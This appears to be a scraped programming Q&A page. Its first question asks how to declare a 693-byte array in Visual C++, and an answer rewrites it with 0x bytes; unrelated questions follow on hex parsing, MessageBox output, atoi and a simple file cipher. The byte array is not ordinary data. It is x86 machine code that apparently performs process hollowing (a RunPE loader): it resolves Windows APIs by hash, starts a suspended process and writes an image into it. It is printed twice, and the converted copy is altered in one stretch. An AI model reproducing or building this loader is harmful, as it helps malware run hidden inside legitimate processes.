I am currently trying to create an array of bytes in my C++ application.
I m using the following code:
#include "stdafx.h"
const BYTE DMSN[693]={$55,$8B,$EC,$81,$C4,$A4,$FA,$FF,$FF,$89,$45,$FC,$E8,$1B,$02,$00,$00,$89,$85,$CC,
$FD,$FF,$FF,$BB,$F2,$0F,$56,$C6,$8B,$95,$CC,$FD,$FF,$FF,$E8,$19,$02,$00,$00,$89,
$45,$F8,$BB,$A9,$8B,$80,$2D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$06,$02,$00,$00,$89,$45,
$F4,$BB,$85,$3B,$AE,$DB,$8B,$95,$CC,$FD,$FF,$FF,$E8,$F3,$01,$00,$00,$89,$45,$F0,
$BB,$93,$35,$DF,$85,$8B,$95,$CC,$FD,$FF,$FF,$E8,$E0,$01,$00,$00,$89,$45,$EC,$BB,
$8D,$CB,$B6,$5D,$8B,$95,$CC,$FD,$FF,$FF,$E8,$CD,$01,$00,$00,$89,$45,$E8,$BB,$53,
$13,$C1,$78,$8B,$95,$CC,$FD,$FF,$FF,$E8,$BA,$01,$00,$00,$89,$45,$E4,$BB,$8A,$DB,
$DF,$A5,$8B,$95,$CC,$FD,$FF,$FF,$E8,$A7,$01,$00,$00,$89,$45,$E0,$BB,$2E,$05,$50,
$C8,$8B,$95,$CC,$FD,$FF,$FF,$E8,$94,$01,$00,$00,$89,$45,$DC,$BB,$85,$A1,$16,$A2,
$8B,$95,$CC,$FD,$FF,$FF,$E8,$81,$01,$00,$00,$E8,$06,$00,$00,$00,$6E,$74,$64,$6C,
$6C,$00,$5F,$57,$FF,$D0,$89,$85,$D0,$FD,$FF,$FF,$BB,$8B,$E3,$CD,$41,$8B,$D0,$E8,
$60,$01,$00,$00,$89,$45,$D8,$BB,$39,$23,$0D,$2C,$8B,$95,$D0,$FD,$FF,$FF,$E8,$4D,
$01,$00,$00,$89,$45,$D4,$68,$00,$02,$00,$00,$8D,$85,$D4,$FD,$FF,$FF,$50,$6A,$00,
$FF,$55,$F8,$6A,$44,$8D,$85,$88,$FD,$FF,$FF,$50,$FF,$55,$D4,$FF,$55,$F4,$8B,$C8,
$8D,$85,$78,$FD,$FF,$FF,$50,$8D,$85,$88,$FD,$FF,$FF,$50,$6A,$00,$6A,$00,$6A,$04,
$6A,$00,$6A,$00,$6A,$00,$51,$8D,$85,$D4,$FD,$FF,$FF,$50,$FF,$55,$F0,$68,$CC,$02,
$00,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$55,$D4,$C7,$85,$A4,$FA,$FF,$FF,$02,$00,
$01,$00,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$EC,$64,$A1,
$30,$00,$00,$00,$8B,$40,$0C,$8B,$40,$14,$8B,$40,$10,$50,$FF,$B5,$78,$FD,$FF,$FF,
$FF,$55,$D8,$8B,$7D,$FC,$03,$7F,$3C,$6A,$40,$68,$00,$30,$00,$00,$FF,$77,$50,$FF,
$77,$34,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E8,$89,$85,$74,$FD,$FF,$FF,$6A,$00,$FF,
$77,$54,$FF,$75,$FC,$FF,$B5,$74,$FD,$FF,$FF,$FF,$B5,$78,$FD,$FF,$FF,$FF,$55,$E4,
$8D,$47,$18,$89,$85,$70,$FD,$FF,$FF,$0F,$B7,$47,$14,$01,$85,$70,$FD,$FF,$FF,$33,
$C0,$33,$F6,$33,$C9,$EB,$29,$6B,$C6,$28,$03,$85,$70,$FD,$FF,$FF,$8B,$9D,$74,$FD,
$FF,$FF,$03,$58,$0C,$8B,$55,$FC,$03,$50,$14,$6A,$00,$FF,$70,$10,$52,$53,$FF,$B5,
$78,$FD,$FF,$FF,$FF,$55,$E4,$46,$66,$3B,$77,$06,$72,$D1,$8B,$85,$74,$FD,$FF,$FF,
$03,$47,$28,$89,$85,$54,$FB,$FF,$FF,$8D,$85,$A4,$FA,$FF,$FF,$50,$FF,$B5,$7C,$FD,
$FF,$FF,$FF,$55,$E0,$FF,$B5,$7C,$FD,$FF,$FF,$FF,$55,$DC,$C9,$C3,$64,$A1,$30,$00,
$00,$00,$8B,$40,$0C,$8B,$40,$0C,$8B,$00,$8B,$00,$8B,$40,$18,$C3,$55,$8B,$EC,$83,
$C4,$F4,$52,$89,$55,$FC,$8B,$4A,$3C,$03,$CA,$89,$4D,$F4,$8B,$49,$78,$03,$CA,$89,
$4D,$F8,$8B,$51,$18,$8B,$49,$20,$03,$4D,$FC,$33,$FF,$8B,$31,$03,$75,$FC,$33,$C0,
$51,$AC,$8B,$C8,$03,$F8,$D3,$C7,$85,$C0,$75,$F5,$59,$3B,$FB,$74,$10,$83,$C1,$04,
$4A,$75,$E0,$BA,$C2,$58,$62,$1B,$5A,$33,$C0,$C9,$C3,$8B,$45,$FC,$8B,$4D,$F8,$8B,
$59,$18,$8B,$49,$24,$03,$C8,$2B,$DA,$D1,$E3,$03,$CB,$0F,$B7,$19,$8B,$4D,$F8,$8B,
$49,$1C,$03,$C8,$C1,$E3,$02,$03,$CB,$03,$01,$5A,$C9,$C3}
int _tmain(int argc, _TCHAR* argv[])
{
return 0;
}
This is what it is looking like in the IDE:
http://gyazo.com/ae6ccac99b8f0d6bfd26cadecfe89939.png
I am currently using Microsoft Visual C++ 2010 Express.
It seems as if i am not importing something that i need (in order to use BYTE or "array of bytes" in a sense)?
First of all, you can use unsigned char instead of BYTE. For BYTE itself, you should
#include <windows.h>
Second, instead of $, you should use 0x.
And here's a comprehensive guide to good C++ books which you should read.
You can use typedef on unsigned char to create BYTE. Like this: typedef unsigned char BYTE;
The problem with your code is that it should look like this:
#include <iostream>
using namespace std ;
typedef unsigned char BYTE;
const BYTE DMSN[/*693*/] =
{
0x55,0x8B,0xEC,0x81,0xC4,0xA4,0xFA,0xFF,0xFF,0x89,0x45,0xFC,0xE8,0x1B,0x02,0x00,0x00,0x89,0x85,0xCC,
0xFD,0xFF,0xFF,0xBB,0xF2,0x0F,0x56,0xC6,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x19,0x02,0x00,0x00,0x89,
0x45,0xF8,0xBB,0xA9,0x8B,0x80,0x2D,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x06,0x02,0x00,0x00,0x89,0x45,
0xF4,0xBB,0x85,0x3B,0xAE,0xDB,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xF3,0x01,0x00,0x00,0x89,0x45,0xF0,
0xBB,0x93,0x35,0xDF,0x85,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xE0,0x01,0x00,0x00,0x89,0x45,0xEC,0xBB,
0x8D,0xCB,0xB6,0x5D,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xCD,0x01,0x00,0x00,0x89,0x45,0xE8,0xBB,0x53,
0x13,0xC1,0x78,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xBA,0x01,0x00,0x00,0x89,0x45,0xE4,0xBB,0x8A,0xDB,
0xDF,0xA5,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0xA7,0x01,0x00,0x00,0x89,0x45,0xE0,0xBB,0x2E,0x05,0x50,
0xC8,0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x94,0x01,0x00,0x00,0x89,0x45,0xDC,0xBB,0x85,0xA1,0x16,0xA2,
0x8B,0x95,0xCC,0xFD,0xFF,0xFF,0xE8,0x81,0x01,0x00,0x00,0xE8,0x06,0x00,0x00,0x00,0x6E,0x74,0x64,0x6C,
0x6C,0x00,0x5F,0x57,0xFF,0xD0,0x89,0x85,0xD0,0xFD,0xFF,0xFF,0xBB,0x8B,0xE3,0xCD,0x41,0x8B,0xD0,0xE8,
0x60,0x01,0x00,0x00,0x89,0x45,0xD8,0xBB,0x39,0x23,0x0D,0x2C,0x8B,0x95,0xD0,0xFD,0xFF,0xFF,0xE8,0x4D,
0x01,0x00,0x00,0x89,0x45,0xD4,0x68,0x00,0x02,0x00,0x00,0x8D,0x85,0xD4,0xFD,0xFF,0xFF,0x50,0x6A,0x00,
0xFF,0x55,0xF8,0x6A,0x44,0x8D,0x85,0x88,0xFD,0xFF,0xFF,0x50,0xFF,0x55,0xD4,0xFF,0x55,0xF4,0x8B,0xC8,
0x8D,0x85,0x78,0xFD,0xFF,0xFF,0x50,0x8D,0x85,0x88,0xFD,0xFF,0xFF,0x50,0x6A,0x00,0x6A,0x00,0x6A,0x04,
0x6A,0x00,0x6A,0x00,0x6A,0x00,0x51,0x8D,0x85,0xD4,0xFD,0xFF,0xFF,0x50,0xFF,0x55,0xF0,0x68,0xCC,0x02,
0x00,0x00,0x8D,0x85,0xA4,0xFA,0xFF,0xFF,0x50,0xFF,0x55,0xD4,0xC7,0x85,0xA4,0xFA,0xFF,0xFF,0x02,0x00,
0x01,0x00,0x8D,0x85,0xA4,0xFA,0xFF,0xFF,0x50,0xFF,0xB5,0x7C,0xFD,0xFF,0xFF,0xFF,0x55,0xEC,0x64,0xA1,
0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x14,0x8B,0x40,0x10,0x50,0xFF,0xB5,0x78,0xFD,0xFF,0xFF,
0xFF,0x55,0xD8,0x8B,0x7D,0xFC,0x03,0x7F,0x3C,0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0xFF,0x77,0x50,0xFF,
0x77,0x34,0xFF,0xB5,0x78,0xFD,0xFF,0xFF,0xFF,0x55,0xE8,0x89,0x85,0x74,0xFD,0xFF,0xFF,0x6A,0x00,0xFF,
0x77,0x54,0xFF,0x75,0xFC,0xFF,0xB5,0x74,0xFD,0xFF,0xFF,0xFF,0xB5,0x78,0xFD,0xFF,0xFF,0xFF,0x55,0xE4,
0x8D,0x47,0x18,0x89,0x85,0x70,0xFD,0xFF,0xFF,0x0F,0xB7,0x47,0x14,0x01,0x85,0x70,0xFD,0xFF,0xFF,0x33,
0xC0,0x33,0xF6,0x33,0xC9,0xEB,0x29,0x6B,0xC6,0x28,0x03,0x85,0x70,0xFD,0xFF,0xFF,0x8B,0x9D,0x74,0xFD,
0xFF,0xFF,0x03,0x58,0x0C,0x8B,0x55,0xFC,0x03,0x50,0x14,0x6A,0x00,0xFF,0x70,0x10,0x52,0x53,0xFF,0xB5,
0x78,0xFD,0xFF,0xFF,0xFF,0x55,0xE4,0x46,0x66,0x3B,0x77,0x06,0x72,0xD1,0x8B,0x85,0x74,0xFD,0xFF,0xFF,
0xFF,0xFF,0xFF,0x55,0xE0,0xFF,0xB5,0x7C,0xFD,0xFF,0xFF,0xFF,0x55,0xDC,0xC9,0xC3,0x64,0xA1,0x30,0x00,
0x00,0x00,0x8B,0x40,0x0C,0x8B,0x40,0x0C,0x8B,0x00,0x8B,0x00,0x8B,0x40,0x18,0xC3,0x55,0x8B,0xEC,0x83,
0xC4,0xF4,0x52,0x89,0x55,0xFC,0x8B,0x4A,0x3C,0x03,0xCA,0x89,0x4D,0xF4,0x8B,0x49,0x78,0x03,0xCA,0x89,
0x4D,0xF8,0x8B,0x51,0x18,0x8B,0x49,0x20,0x03,0x4D,0xFC,0x33,0xFF,0x8B,0x31,0x03,0x75,0xFC,0x33,0xC0,
0x51,0xAC,0x8B,0xC8,0x03,0xF8,0xD3,0xC7,0x85,0xC0,0x75,0xF5,0x59,0x3B,0xFB,0x74,0x10,0x83,0xC1,0x04,
0x4A,0x75,0xE0,0xBA,0xC2,0x58,0x62,0x1B,0x5A,0x33,0xC0,0xC9,0xC3,0x8B,0x45,0xFC,0x8B,0x4D,0xF8,0x8B,
0x59,0x18,0x8B,0x49,0x24,0x03,0xC8,0x2B,0xDA,0xD1,0xE3,0x03,0xCB,0x0F,0xB7,0x19,0x8B,0x4D,0xF8,0x8B,
0x49,0x1C,0x03,0xC8,0xC1,0xE3,0x02,0x03,0xCB,0x03,0x01,0x5A,0xC9,0xC3
};
int main( )
{
for(int i=0; i<200; i++) cout<<" "<<(int)DMSN[i]<<"\t";
cout<<" \n";
return 0;
}
Related
The response payload of my http request looks like this (but can be modified to any string best suitable for the task):
"{0X00,0X01,0XC8,0X00,0XC8,0X00,
0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,}"
How do I turn it into an unsigned char array containing the hex values like this:
unsigned char gImage_test[14] = { 0X00,0X01,0XC8,0X00,0XC8,0X00,
0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,}
Additional information: The length of the payload string is known in advance and always the same. Some partial solution I found can't be directly applied due to the limitations of the wrapper nature of Arduino for c++. Looking for a simple solution within the Arduino IDE.
Use sscanf("%x", ...), here an example of just 3 hex numbers:
const char *buffer = "{0X00,0X01,0XC8}";
unsigned int data[3];
int read_count = sscanf(buffer, "{%x,%x,%x}", data, data+1, data+2);
// if successful read_count will be 3
If using sscanf() (#include <stdio.h>) is within your limitations then you can call with it "%hhx" to extract each individual hex value into an unsigned char like this:
const int PAYLOAD_LENGTH = 14; // Known in advance
unsigned char gImage_test[PAYLOAD_LENGTH];
#include <stdio.h>
int main()
{
const char* bufferPtr = "{0X00,0X01,0XC8,0X00,0XC8,0X00,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF,0XFF}";
for (int i = 0; i < PAYLOAD_LENGTH && sscanf(bufferPtr + 1, "%hhx", &gImage_test[i]); i++, bufferPtr += 5);
return 0;
}
I am working on an old app written in Visual C++ 6.0. I am trying to display an int variable in a MessageBox for debugging reasons. Here is my code, I thought this would be a simple process, but I am just learning C++. The two lines that are commented I have tried as well with similar errors. Below is the error I am getting.
int index1 = 1;
char test1 = index1;
// char var1[] = index1;
// char *varGo1 = index1;
MessageBox(NULL, test1, "testx", MB_OK);
error C2664: 'MessageBoxA' : cannot convert parameter 2 from 'char' to 'const char *'
Why bother with C-style strings if you tagged C++?
Although Mark Ransom provided MFC solution (which is perfectly valid), here is a Standard C++ one:
int index1 = 1;
std::string test1 = std::to_string(index1);
MessageBoxA(NULL, test1.c_str(), "testx", MB_OK);
References:
std::to_string();
Arrays are evil
Use boost::format for more sophisticated formatting.
int index1 = 1;
char buf[10];
itoa(index1,buf,10);
MessageBox(NULL,buf,"Caption",MB_OK);
Can try this
CString str1;
str1.Format(_T("%d"), index1);
MessageBox(NULL, str1, "testx", MB_OK);
CString's Format works just like printf to populate the string with the parameter list.
The second parameter of MessageBox needs to be a pointer to a string of chars, terminated with NULL. Passing a char will not work.
But, learning to use a debugger is an integral part to learning a language. Why not build a debug build and set a breakpoint on char test1 = index1; instead? You do that by pressing F9 when the cursor is on that line.
For what it's worth, I prefer to use a manipulator for this:
#include <sstream>
#include <iostream>
#include <windows.h>
using std::ostringstream;
using std::ostream;
ostream &msg_box(ostream &s) {
ostringstream &os = dynamic_cast<ostringstream &>(s);
MessageBox(NULL, os.str().c_str(), "testx", MB_OK);
return s;
}
int main() {
ostringstream msg;
msg << "The number is: " << 10 << msg_box;
return 0;
}
This maintains (mostly) the same interface nearly everybody's already accustomed to with iostreams, avoids the type-unsafe CString::Format, and avoids having several lines of distraction everywhere you're going to display a little information for debugging. The other obvious good point is that if you've overloaded operator<< for your own type, that overload will work with this as well.
Acording to your error, you should declare a const pointer on the second parameter.
Like this,
const char * test1= new char();
or use
std::string test1= "";
MessageBox(NULL, test1.c_str(), "testx", MB_OK);
Also using just "Text" will work.
Here is the pure C solution using sprintf method to store all input in buffer and passing that buffer to MessageBox.
#include <stdio.h>
#include <windows.h>
int main(void)
{
int intVal = 50;
float fltVal = 5.5;
char *str = "Test String";
char buf[1024] = {'\0'};//buffer to store formatted input.
//convert formatted input into buffer.
sprintf(buf,"Int value : %d\nFloat value : %f\nString : %s\n",intVal,fltVal,str);
//display whole buffer.
MessageBox(NULL,buf,"INFO",MB_ICONINFORMATION);
return 0;
}
I have the following code:
char msg[10];
int len = acc.read(msg, sizeof(msg), 1); // This will read "R#" where # can be any number.
int number = getNumber(msg);
The function getNumber looks like this:
int getNumber(char* pMsg){
Serial.println(positionMsg);
positionMsg += 1;
Serial.print('[');
Serial.print(positionMsg);
Serial.println(']');
}
This function prints out:
R115
[115]
When the number in the message is 115. How do I return the integer 115?
I come from a Java background, I don't understand pointers.
the simplest would be to use atoi:
http://www.cplusplus.com/reference/cstdlib/atoi/
#include <cstdlib>
int getNumber(char* pMsg){
//assuming format is always R#
return std::atoi((char*)(pMsg+1));
}
Or, you can use atoi directly instead of getNumber...
Function specifies return type of int so we must return an integer.
Using sscanf() allows you to parse/format other data types in one function call.
In C++: using sscanf()
/* sscanf example */
#include <cstdlib>
int getNumber(char* pMsg){
int result;
...
sscanf (pMsg,"R%d",&result);
return result;
}
I'm a beginning user in C++ and I want to know how to do this:
How can I 'create' a byte from a string/int. So for example I've:
string some_byte = "202";
When I would save that byte to a file, I want that the file is 1 byte instead of 3 bytes.
How is that possible?
Thanks in advance,
Tim
I would use C++'s String Stream class <sstream> to convert the string to an unsigned char.
And write the unsigned char to a binary file.
so something like [not real code]
std::string some_byte = "202";
std::istringstream str(some_byte);
int val;
if( !(str >> val))
{
// bad conversion
}
if(val > 255)
{
// too big
}
unsigned char ch = static_cast<unsigned char>(val);
printByteToFile(ch); //print the byte to file.
The simple answer is...
int value = atoi( some_byte ) ;
There are a few other questions though.
1) What size is an int and is it important? (for almost all systems it's going to be more than a byte)
int size = sizeof(int) ;
2) Is the Endianness important? (if it is look in to the htons() / ntohs() functions)
In C++, casting to/from strings is best done using string streams:
#include <sstream>
// ...
std::istringstream iss(some_string);
unsigned int ui;
iss >> ui;
if(!iss) throw some_exception('"' + some_string + "\" isn't an integer!");
unsigned char byte = i;
To write to a file, you use file streams. However, streams usually write/read their data as strings. you will have to open the file in binary mode and write binary, too:
#include <fstream>
// ...
std::ofstream ofs("test.bin", std::ios::binary);
ofs.write( reinterpret_cast<const char*>(&byte), sizeof(byte)/sizeof(char) );
Use boost::lexical_cast
#include "boost/lexical_cast.hpp"
#include <iostream>
int main(int, char**)
{
int a = boost::lexical_cast<int>("42");
if(a < 256 && a > 0)
unsigned char c = static_cast<unsigned char>(a);
}
You'll find the documentation at http://www.boost.org/doc/libs/1_43_0/libs/conversion/lexical_cast.htm
However, if the goal is to save space in a file, I don't think it's the right way to go. How will your program behave if you want to convert "257" into a byte? Juste go for the simplest. You'll work out later any space use concern if it is relevant (thumb rule: always use "int" for integers and not other types unless there is a very specific reason other than early optimization)
EDIT
As the comments say it, this only works for integers, and switching to bytes won't (it will throw an exception).
So what will happen if you try to parse "267"?
IMHO, it should go through an int, and then do some bounds tests, and then only cast into a char. Going through atoi for example will result extreamly bugs prone.
hi I have to write a windows api code that encrypts a file by adding three to each character.
so I wrote this now its not doing anything ... where i go wronge
#include "stdafx.h"
#include <windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE filein,fileout;
filein=CreateFile
(L"d:\\test.txt",GENERIC_READ,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
fileout=CreateFile
(L"d:\\test.txt",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
DWORD really; //later this will be used to store how many bytes I succeed to read
do
{
BYTE x[1024]; //the buffer the thing Im using to read in
ReadFile(filein,x,1024,&really,NULL);
for(int i=0 ; i<really ; i++)
{
x[i]= (x[i]+3) % 256;
}
DWORD really2;
WriteFile(fileout,x,really,&really2,NULL);
}while(really==1024);
CloseHandle(filein);
CloseHandle(fileout);
return 0;
}
and if Im right how can i know its ok
First, you can't overwrite a file that's in use. You will need to use different pathnames for your input and output, and then rename files at the end.